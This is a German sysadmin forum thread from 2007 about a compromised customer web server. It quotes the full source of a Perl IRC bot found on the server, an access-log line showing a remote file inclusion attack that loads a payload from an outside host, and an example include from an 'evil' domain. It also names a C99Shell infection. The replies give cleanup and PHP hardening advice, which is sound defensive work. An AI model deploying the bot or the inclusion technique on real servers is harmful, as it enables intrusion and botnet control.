Daether Geschrieben 12. Oktober 2007 Geschrieben 12. Oktober 2007 Hi, heute hatte einer unserer WEbserver eine hohe Load mit mehrere Zombie-PERL-Prozesen, und 3 Prozessen die scanna hießen. Kam mir schon ganzschön seltsam vor, bis ein PERL-Skript fand, was anscheinend für die Prozesse verantwortlich war. Seitdem ich für die Domain auf der das PERL-Skript lag PERL deaktiviert habe, ist das Problem behoben. Das Skirpt scheint ein IRC-Bot zu sein, der auf Befehle reagiert. Leider verstehe ich nicht was mit diesen Befehlen genau ausgeführt wird. Kann mir einer sagen, ws das Skript genau auf dem Webserver anstellt ? #!/usr/bin/perl -w use strict; use IO::Socket; use LWP::Simple; #LISTA da prendere online #my $lista=get("http://xero.is-a-geek.net/lista.txt"); #lista fissa my $lista="http://MaFiaLiST.Altervista.Org"; my $addon="http://MaFiaLiST.Altervista.Org/Mafia-Addon.rar"; my ($server,$chan,$nick)=("irc.eltrium.net","#mafia","MaFiA|PLuS[1]"); my $rand=int rand 9999; print "Connecting to $server in $chan with nick $nick, key [$rand]\n"; my $irc=IO::Socket::INET->new( PeerAddr=>"$server", PeerPort=>'6667', Proto=>'tcp', Timeout=>10 ) or die "Error: $!"; sendserver("USER $rand $rand $rand $rand"); sendserver("NICK $nick"); joinchan($chan); while(my $line=<$irc>){ if($line =~ m/^PING \.*)/){print $irc "PONG :$1";} if($line =~ m/^\.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \.+)/){ my $msgnick = $1; my $msgident = $2; my $msghost = $3; my $msgtarget = $4; my $msg = $5; analizza($msgnick, $msgident, $msghost, $msgtarget, $msg); #non in senso anale } } sub analizza{#non in senso anale my($msgnick, $msgident, $msghost, $msgtarget, $msg) = @_ ; print "<$msgnick> $msg\n"; if($msg =~ m/^\!asdcomandi/i){ sendchan("^C9,1 ...^C0.:^C12::^C0<95> Answer: [ ^C12?: ^C4comando opzionale ^C0] & [ ^C12+: ^C4comando obbligatorio^C0 ] ^C12 simbologia dei comandi ^C0<95> ^C12::^C0:.^C9..."); sendchan("^C9,1 ...^C0.:^C12::^C0<95> Answer: [ ^C12Com1: ^C4!lista^C0 ] ^C12 per visualizzare la lista ^C0<95>^C12::^C0:.^C9..."); sendchan("^C9,1 ...^C0.:^C12::^C0<95> Answer: [ ^C12Com2: ^C4!ping ?^C0 ] ^C12 per visualizzare la lista ^C0<95>^C12::^C0:.^C9..."); sendchan("^C9,1 ...^C0.:^C12::^C0<95> Answer: [ ^C12Com3: ^C4!say +^C0 ] ^C12 per far parlare il bot ^C0<95>^C12::^C0:.^C9..."); sendchan("^C9,1 ...^C0.:^C12::^C0<95> Answer: [ ^C12Com4: ^C4!quit +^C0 ] ^C12 per far quittare il bot ^C0<95>^C12::^C0:.^C9..."); sendchan("^C9,1 ...^C0.:^C12::^C0<95> Answer: [ ^C12Com5: ^C4!addon +^C0 ] ^C12 per visualizzare l'addon ^C0<95>^C12::^C0:.^C9..."); sendchan("^C9,1 ...^C0.:^C12::^C0<95> Credit: [ ^C12Coder: ^C4xero from r0x crew^C0 ] ^C12 ^C0<95>^C12::^C0:.^C9..."); } if($msg =~ m/^\!list/i){ sendchan("^B^C8.^C^C7:^C^C4(^C*^C0 http://MaFiaLiST.Altervista.Org ^C*^C4)^C^C7:^C^C8.^O^O"); } if($msg =~ m/^\!ping\s*(.*)/i){ sendchan("Pong $1"); } if($msg =~ m/^\!addon/i){ sendchan("^B^C8.^C^C7:^C^C4(^C*^C0 http://MaFiaLiST.Altervista.Org/Mafia-Addon.rar ^C*^C4)^C^C7:^C^C8.^O^O"); } if($msg =~ m/^\!quit\s*(.*)/i){ sendserver("QUIT! | $1"); } if($msg =~ m/^\!asdsay (.+)/i){ my $lol=$1; chop($lol); sendchan("^C9,1 ...^C0.:^C12::^C0<95> Say: [ ^C12 $lol^C0 ] ^C0<95>^C12::^C0:.^C9..."); } } sub sendchan{ my $msg=shift; print $irc "PRIVMSG $chan :$msg\n"; } sub sendserver{ my $msg=shift; print $irc "$msg\n"; } sub sendquery{ my ($nick,$msg)=@_; print $irc "PRIVMSG $nick :$msg\n"; } sub joinchan{ my $chan=shift; print $irc "JOIN $chan\n"; } [/code] Zitieren
Crash2001 Geschrieben 12. Oktober 2007 Geschrieben 12. Oktober 2007 Also wenn ich das richtig sehe, ist das ein Bot fürs IRC, der auf Befehl ein paar URLs ausgeben, pingen und messages verschicken kann. Eventuell ist der aber auch nur Teil von mehr, um zu sehen, dass der Rechner online ist. (Quasi um eine Botarmee zu verwalten) Auf dem Webserver selber macht DIESES Script also wenn ich das richtig sehe nicht viel. Es könnten aber halt noch andere drauf sein. Ich würde an deiner Stelle das System so wie es ist sichern und komplett neu aufsetzen. Alternativ es es offline nehmen und mal nach Rootkits u.s.w. abscannen. Wenn es ein produktives System ist, geht eigentlich kein Weg an einer Neuinstallation vorbei. Du solltest jedoch dann analysieren, WIE das auf den Rechner gelangt ist und das System abzusichern versuchen. (beim Apache gibt es einige Optionen, unter PHP, nur die Dienste laden, die der Server auch braucht, SSH absichern per Key, keine einfachen Passwörter verwenden, Ports evtl umlegen, Virenscanner installieren, Firewall installieren, ... Zitieren
Daether Geschrieben 12. Oktober 2007 Autor Geschrieben 12. Oktober 2007 Hi, also stutzig hat mich eigendlich am meisten dieser Teil gemacht : if($msg =~ m/^\!addon/i){ sendchan("^B^C8.^C^C7:^C^C4(^C*^C0 http://MaFiaLiST.Altervista.Org/Mafia-Addon.rar ^C*^C4)^C^C7:^C^C8.^O^O"); } Weiß nicht so ganz was mit der RAR-Datei passiert. Den Server aufsetzen ist eine ziemlich gute Idee, Problem ist nur, dass es ein Webserver mit vielen Kundne ist und ein Ersatzserver momentan nicht zur Hand ist. Werd ich unseren Chef wohl mal überzeugen müssen Zitieren
littledjango Geschrieben 16. Oktober 2007 Geschrieben 16. Oktober 2007 Ich würd auch mal prüfen wir er es geschafft hat die Perl Skripte auf den Webserver zu bringen! Zitieren
Daether Geschrieben 17. Oktober 2007 Autor Geschrieben 17. Oktober 2007 wir suchen uns schon seit Tagen den Wolf. Auffällig ist, dass auf einmal immer wieder ein Prozess "scanna" läuft und parallel dazu kommt ein "[perl] <defunct>"-Prozess. Gibt es eine Möglichkeit, alle PERL-Aktionen global über die apache2.conf irgendwo hin zu loggen ? Zitieren
Daether Geschrieben 17. Oktober 2007 Autor Geschrieben 17. Oktober 2007 // EDIT : Das ergibt ein netstat -p tcp 0 0 beepy.ngi-net.de:50258 a1.search.vip.dcn.y:www ESTABLISHED20604/scanna tcp 0 0 beepy.ngi-net.de:50259 66.45.237.99:www ESTABLISHED20613/scanna tcp 0 143 beepy.ngi-net.de:50260 www2.sfgate.com:www ESTABLISHED20615/scanna tcp 0 0 beepy.ngi-net.de:49297 89.163.146.186.sta:ircd ESTABLISHED20598/scanna tcp 0 0 beepy.ngi-net.de:49297 89.163.146.186.sta:ircd ESTABLISHED20598/scanna Zitieren
littledjango Geschrieben 17. Oktober 2007 Geschrieben 17. Oktober 2007 Läuft PHP auf dem Webserver? Wenn ja, schalt mal in der php.ini "allow_url_fopen" ab. Damit kann man über PHP remote Dateien nachladen und lokal speichern. (Evtl läuft eine Anwendung auf dem Webserver, wo der Programmierer leichtsinnig jeden Parameter für sein require übergibt). Ein require($functiondatei) kann schnell zu einem require("http://evil-internetside.ru/trojaner.gz") werden. Evtl. hat kommt das seltsame PERL Skript von da. Ist PERL denn wichtig für den Webserver? Ansonsten runter damit. Gilt genauso für alle Compiler-> Weg, hat auf einem Webserver nichts zu suchen. Zitieren
Daether Geschrieben 17. Oktober 2007 Autor Geschrieben 17. Oktober 2007 Hi, danke für den Tipp, hab die Config mal umgestellt und werde sehen was passiert. Leider haben wir unseren Kunden PHP,Mysql und CGI angeboten im Vertrag und es kann nicht weg. Zitieren
Daether Geschrieben 17. Oktober 2007 Autor Geschrieben 17. Oktober 2007 Ich kann vermelden, das Folgender Virus auf unserem Server nun zu finden ist : PHP/C99Shell.C So eine *******e, das auf dem Kundenwebserver, was macht man da jetzt am besten ? Zitieren
Daether Geschrieben 17. Oktober 2007 Autor Geschrieben 17. Oktober 2007 Sooo, mein Sicherheitslücken Problem : Folgendes habe ich auf dem Webserver gefunden : x.x.x.x - - [12/Oct/2007:19:50:49 +0200] "GET /pfad1//pfad2/editfunc.inc.php?NWCONF_SYSTEM[server_path]=http://www.XXX.XX/easd.txt? HTTP/1.1" 200 34809 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7" Nun macht die editfunc.inc.php folgendes : include($NWCONF_SYSTEM['server_path'].'include/javascript.inc'.$NWCONF_SYSTEM['php_ext']); require($NWCONF_SYSTEM['server_path'].'include/text-out.inc'.$NWCONF_SYSTEM['php_ext']); require($NWCONF_SYSTEM['server_path'].'include/images.inc'.$NWCONF_SYSTEM['php_ext']); Sehe ich das richtig, das durch den Aufruf jede beliebige Datei von XXX.XX aufgerufen werden kann, bzw. required werden kann ? Das ganze sollte dann doch mit allow_url_open = Off gelößt sein, oder ? Zitieren
littledjango Geschrieben 17. Oktober 2007 Geschrieben 17. Oktober 2007 Sehe ich das richtig, das durch den Aufruf jede beliebige Datei von XXX.XX aufgerufen werden kann, bzw. required werden kann ? Das ganze sollte dann doch mit allow_url_open = Off gelößt sein, oder ? Korrekt. deswegen ist allow_url_open SEHR böse, weil bei Bedarf Schadcode on-the-fly nachgeladen werden kann. Mit dem abschalten der Option hast du das nachladen auf jeden Fall gekillt. Musst nur noch die Dateien killen und alles ist wieder gut. Zitieren
Daether Geschrieben 17. Oktober 2007 Autor Geschrieben 17. Oktober 2007 Leider bin ich mir mit dem "alles wieder gut" noch nicht so sicher. Scheint ja nun ein Trojaner auf dem Rechner zu sein. Wir haben schon über aptitude install : chkrootkit 0.44-2 rkhunter 1.2.9-2 und aufgeführt. Hast du noch eine Emfpehlung, was wir machen sollten ? Zitieren
littledjango Geschrieben 17. Oktober 2007 Geschrieben 17. Oktober 2007 Schau einfach in die Logs ob irgendwo remote per GET noch Daten nachgeholt werden. Wenn nicht, kann der "Trojaner" nichts mehr anrichten. Der ist nämlich quasi tot ohne Sachen remote includieren zu können. Ansonsten einfach mal das System durchforsten, welche Dateien "PHP/C99Shell.C" anlegt. Zitieren
hades Geschrieben 17. Oktober 2007 Geschrieben 17. Oktober 2007 Nur ein Neuinstallieren, das Einspielen des letzten Datenbackups sowie das Absichern des Systems bringt Dir Gewissheit. Weisst Du mit 100%iger Gewissheit, dass Deine Systemkommandos noch die originalen sind, Dir wirklich alle Prozesse angezeigt werden und Logfiles nicht manipuliert wurden? Gerade ein aelteres, ungesichertes PHP ist offen wie ein Scheunentor. register_globals = off safe_mode = on sind zwei weitere sicherheitsrelevante Einstellungen in der php.ini. Achtung: Einige PHP-Skripte koennen mit diesen Einstellungen nicht mehr laufen. Weiteres: Setze mit iptables Filterregeln, die nur das durchlassen was auch erlaubt ist. z.B. kein IRC (6667). Zitieren
Daether Geschrieben 18. Oktober 2007 Autor Geschrieben 18. Oktober 2007 Hi, also die Firewall sollte das ganze soweit Blocken. Betonung auf sollte, werde ich heute nochmal ausgiebig anschauen. register_globals = off ( ist bei uns auf ON ) safe_mode = on ( ist bei uns auf OFF ) In wie weit wir diese Parameter ändern dürfen weiß ich ehrlich gesagt noch nicht. Habe mir gerade auf pphp.net den safe_mode mal angeschaut. Den dürfen wir so leider nicht aktivieren. Denn unser Apache läuft unter dem User www-data, die Kunden allerdings legen ihre Dateien per FTP bei uns ab, mit eigenem Usernamen. Wenn ich das richtig sehe, wird doch dann´mit einschalten der Direktive automatisch alles nichtmehr ausführbar ?!? Allerdings werden wir jetzt in jedem virtuellen Host die direktive open_basedir einführen. PS : Der Webserver wurde anscheinend seit mehr als einem Jahr nichtmehr richtig angefasst. Falsche awstats-Einträge, veraltete PHP-Version und diverse unterschiedliche VirtualHosts ... Zitieren
SystemError Geschrieben 18. Oktober 2007 Geschrieben 18. Oktober 2007 Nur ein Neuinstallieren, das Einspielen des letzten Datenbackups sowie das Absichern des Systems bringt Dir Gewissheit. Da kann ich Hades nur recht geben. Und gerade WEIL es ein Kundenserver kann ich Dir nur empfehlen den Ratschlag von Hades zu beherzigen! Mit jeder anderen Lösung nimmst Du willentlich ein erhebliches Risko in Kauf. Ein Risiko das Du vor Deinen Kunden verantworten musst. Das wird dann insbesondere dann ganz besonders lustig wenn Deine Kunden über die Maschine Geschäft(=€) abwicklen. Bye SystemError Zitieren
Daether Geschrieben 18. Oktober 2007 Autor Geschrieben 18. Oktober 2007 Die Frage ist dann, was ich mit den Domains mache ? Wenn ich meinen Kunden sage, das ich ein Backup von vor 10 Tagen einspielen muss, werden ie nicht begeistert sein. ein neuer Webserver wird gerade aufgestzt, mit den richtigen open_basedir, etc. Nur muss ich ja die Kundendomains 1 zu 1 übertragen. Zitieren
hades Geschrieben 18. Oktober 2007 Geschrieben 18. Oktober 2007 Es kommt auf Eure Vertraege an, wie die Datensicherung der Kundendaten geregelt ist. php.ini: register_globals = off On ist die sicherheitskritischste PHP-Einstellung. Mehr zu Absicherungsmoeglichkeiten von PHP siehe Grundsicherung für PHP-Software - heise Security Zitieren
Daether Geschrieben 19. Oktober 2007 Autor Geschrieben 19. Oktober 2007 Erstmal dickes Dankeschön von meiner Seite ! Wir müssen mal sehen wie wir nun verfahren, da wir nur ein Backup haben, das 5 Tage zurück geht und damit schon alles infiziert sein könnte. Zitieren
Empfohlene Beiträge
Dein Kommentar
Du kannst jetzt schreiben und Dich später registrieren. Wenn Du ein Konto hast, melde Dich jetzt an, um unter Deinem Benutzernamen zu schreiben.